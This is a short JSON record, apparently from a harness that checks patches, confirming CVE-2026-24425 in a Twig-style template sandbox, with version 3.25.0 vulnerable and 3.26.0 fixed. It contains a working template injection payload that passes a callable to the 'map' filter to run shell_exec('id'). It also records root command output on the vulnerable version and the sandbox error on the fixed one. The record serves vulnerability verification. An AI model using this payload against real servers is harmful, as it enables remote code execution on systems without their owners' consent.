{
  "cve_id": "CVE-2026-24425",
  "vulnerable_version": "3.25.0",
  "fixed_version": "3.26.0",
  "payload": "{{ ['id']|map('rce_helper')|join }}",
  "sandbox_type": "SourcePolicyInterface",
  "vulnerable_indicator": "shell_exec('id') executed — output contains uid=",
  "fixed_indicator": "RuntimeError: must be a Closure in sandbox mode",
  "vuln_output": "uid=0(root) gid=0(root) groups=0(root)\n",
  "vuln_exception": "\n",
  "fixed_output": "\n",
  "fixed_exception": "FIXED_EXCEPTION: Twig\\Error\\RuntimeError: The callable passed to the \"map\" filter must be a Closure in sandbox mode in \"index\" at line 1.\n",
  "vulnerable_confirmed": true,
  "fixed_confirmed": true
}